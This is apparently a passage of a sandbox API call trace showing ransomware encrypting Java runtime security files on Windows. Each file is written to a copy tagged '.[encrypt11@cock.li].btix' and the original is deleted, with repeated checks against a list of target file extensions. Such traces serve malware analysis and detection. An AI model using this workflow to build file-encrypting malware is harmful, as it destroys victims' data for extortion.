[0134.548] CloseHandle (hObject=0x540) returned 1 [0134.548] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.548] SetEndOfFile (hFile=0x52c) returned 1 [0134.551] CloseHandle (hObject=0x52c) returned 1 [0134.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.551] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString=".doc") returned 4 [0134.552] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString=".docx") returned 5 [0134.552] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0134.552] lstrlenW (lpString=".pdf") returned 4 [0134.552] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString=".xls") returned 4 [0134.552] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString=".xlsx") returned 5 [0134.552] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0134.552] lstrlenW (lpString=".ppt") returned 4 [0134.552] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString=".zip") returned 4 [0134.552] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString=".rar") returned 4 [0134.552] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString=".bz2") returned 4 [0134.552] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString=".7z") returned 3 [0134.552] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString=".dbf") returned 4 [0134.552] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString=".1cd") returned 4 [0134.552] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString=".jpg") returned 4 [0134.552] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.552] lstrlenW (lpString=".doc") returned 4 [0134.553] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString=".docx") returned 5 [0134.553] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0134.553] lstrlenW (lpString=".pdf") returned 4 [0134.553] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString=".xls") returned 4 [0134.553] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString=".xlsx") returned 5 [0134.553] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0134.553] lstrlenW (lpString=".ppt") returned 4 [0134.553] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.553] lstrlenW (lpString=".zip") returned 4 [0134.553] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString=".rar") returned 4 [0134.553] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString=".bz2") returned 4 [0134.553] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString=".7z") returned 3 [0134.553] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.553] lstrlenW (lpString=".dbf") returned 4 [0134.553] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.553] lstrlenW (lpString=".1cd") returned 4 [0134.553] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0134.553] lstrlenW (lpString=".jpg") returned 4 [0134.553] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0134.553] lstrcmpiW (lpString1=".policy", lpString2=".btix") returned 1 [0134.553] lstrlenW (lpString="javaws.policy") returned 13 [0134.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.554] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=98) returned 1 [0134.554] CloseHandle (hObject=0x52c) returned 1 [0134.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0134.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.554] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.555] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.555] GetLastError () returned 0x0 [0134.555] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x62, lpOverlapped=0x0) returned 1 [0134.556] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x70, lpOverlapped=0x0) returned 1 [0134.557] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.557] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xee, lpOverlapped=0x0) returned 1 [0134.557] SetEndOfFile (hFile=0x540) returned 1 [0134.557] CloseHandle (hObject=0x540) returned 1 [0134.557] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.557] SetEndOfFile (hFile=0x52c) returned 1 [0134.560] CloseHandle (hObject=0x52c) returned 1 [0134.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.560] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0134.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.561] lstrlenW (lpString=".doc") returned 4 [0134.561] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString=".docx") returned 5 [0134.561] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0134.561] lstrlenW (lpString=".pdf") returned 4 [0134.561] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString=".xls") returned 4 [0134.561] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString=".xlsx") returned 5 [0134.561] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0134.561] lstrlenW (lpString=".ppt") returned 4 [0134.561] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.561] lstrlenW (lpString=".zip") returned 4 [0134.561] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString=".rar") returned 4 [0134.561] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString=".bz2") returned 4 [0134.561] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0134.561] lstrlenW (lpString=".7z") returned 3 [0134.561] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0134.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.561] lstrlenW (lpString=".dbf") returned 4 [0134.562] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString=".1cd") returned 4 [0134.562] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString=".jpg") returned 4 [0134.562] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString=".doc") returned 4 [0134.562] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString=".docx") returned 5 [0134.562] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0134.562] lstrlenW (lpString=".pdf") returned 4 [0134.562] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString=".xls") returned 4 [0134.562] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString=".xlsx") returned 5 [0134.562] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0134.562] lstrlenW (lpString=".ppt") returned 4 [0134.562] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString=".zip") returned 4 [0134.562] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString=".rar") returned 4 [0134.562] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString=".bz2") returned 4 [0134.562] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString=".7z") returned 3 [0134.562] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString=".dbf") returned 4 [0134.562] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0134.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.562] lstrlenW (lpString=".1cd") returned 4 [0134.562] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0134.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0134.563] lstrlenW (lpString=".jpg") returned 4 [0134.563] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0134.563] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0134.563] lstrlenW (lpString="local_policy.jar") returned 16 [0134.563] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.563] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3527) returned 1 [0134.563] CloseHandle (hObject=0x52c) returned 1 [0134.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0134.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.564] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.564] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.564] GetLastError () returned 0x0 [0134.564] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xdc7, lpOverlapped=0x0) returned 1 [0134.581] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0134.582] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.582] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0134.582] SetEndOfFile (hFile=0x540) returned 1 [0134.582] CloseHandle (hObject=0x540) returned 1 [0134.582] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.582] SetEndOfFile (hFile=0x52c) returned 1 [0134.585] CloseHandle (hObject=0x52c) returned 1 [0134.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.585] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0134.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.586] lstrlenW (lpString=".doc") returned 4 [0134.586] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0134.586] lstrlenW (lpString=".docx") returned 5 [0134.586] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0134.586] lstrlenW (lpString=".pdf") returned 4 [0134.586] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0134.586] lstrlenW (lpString=".xls") returned 4 [0134.586] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0134.586] lstrlenW (lpString=".xlsx") returned 5 [0134.586] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0134.586] lstrlenW (lpString=".ppt") returned 4 [0134.586] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0134.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.586] lstrlenW (lpString=".zip") returned 4 [0134.586] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0134.586] lstrlenW (lpString=".rar") returned 4 [0134.586] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0134.586] lstrlenW (lpString=".bz2") returned 4 [0134.586] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0134.586] lstrlenW (lpString=".7z") returned 3 [0134.586] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0134.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.586] lstrlenW (lpString=".dbf") returned 4 [0134.586] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0134.586] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.587] lstrlenW (lpString=".1cd") returned 4 [0134.587] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0134.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.587] lstrlenW (lpString=".jpg") returned 4 [0134.587] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0134.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.587] lstrlenW (lpString=".doc") returned 4 [0134.587] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0134.587] lstrlenW (lpString=".docx") returned 5 [0134.587] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0134.587] lstrlenW (lpString=".pdf") returned 4 [0134.587] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0134.587] lstrlenW (lpString=".xls") returned 4 [0134.587] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0134.587] lstrlenW (lpString=".xlsx") returned 5 [0134.587] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0134.587] lstrlenW (lpString=".ppt") returned 4 [0134.587] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0134.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.587] lstrlenW (lpString=".zip") returned 4 [0134.587] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0134.587] lstrlenW (lpString=".rar") returned 4 [0134.587] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0134.587] lstrlenW (lpString=".bz2") returned 4 [0134.587] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0134.587] lstrlenW (lpString=".7z") returned 3 [0134.587] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0134.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.587] lstrlenW (lpString=".dbf") returned 4 [0134.588] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0134.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.588] lstrlenW (lpString=".1cd") returned 4 [0134.588] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0134.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0134.588] lstrlenW (lpString=".jpg") returned 4 [0134.588] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0134.588] lstrcmpiW (lpString1=".libraries", lpString2=".btix") returned 1 [0134.588] lstrlenW (lpString="trusted.libraries") returned 17 [0134.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0134.934] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=0) returned 1 [0134.934] CloseHandle (hObject=0x4a8) returned 1 [0134.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.934] lstrlenW (lpString=".doc") returned 4 [0134.934] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0134.934] lstrlenW (lpString=".docx") returned 5 [0134.934] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0134.934] lstrlenW (lpString=".pdf") returned 4 [0134.934] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0134.934] lstrlenW (lpString=".xls") returned 4 [0134.934] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0134.934] lstrlenW (lpString=".xlsx") returned 5 [0134.934] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0134.934] lstrlenW (lpString=".ppt") returned 4 [0134.934] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0134.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.934] lstrlenW (lpString=".zip") returned 4 [0134.934] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0134.934] lstrlenW (lpString=".rar") returned 4 [0134.934] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString=".bz2") returned 4 [0134.935] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString=".7z") returned 3 [0134.935] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.935] lstrlenW (lpString=".dbf") returned 4 [0134.935] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.935] lstrlenW (lpString=".1cd") returned 4 [0134.935] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.935] lstrlenW (lpString=".jpg") returned 4 [0134.935] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.935] lstrlenW (lpString=".doc") returned 4 [0134.935] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString=".docx") returned 5 [0134.935] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0134.935] lstrlenW (lpString=".pdf") returned 4 [0134.935] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString=".xls") returned 4 [0134.935] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString=".xlsx") returned 5 [0134.935] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0134.935] lstrlenW (lpString=".ppt") returned 4 [0134.935] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.935] lstrlenW (lpString=".zip") returned 4 [0134.935] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0134.935] lstrlenW (lpString=".rar") returned 4 [0134.936] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0134.936] lstrlenW (lpString=".bz2") returned 4 [0134.936] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0134.936] lstrlenW (lpString=".7z") returned 3 [0134.936] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.936] lstrlenW (lpString=".dbf") returned 4 [0134.936] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.936] lstrlenW (lpString=".1cd") returned 4 [0134.936] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0134.936] lstrlenW (lpString=".jpg") returned 4 [0134.936] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0134.936] lstrcmpiW (lpString1=".0_144\\release", lpString2=".btix") returned -1 [0134.936] lstrlenW (lpString="release") returned 7 [0134.936] 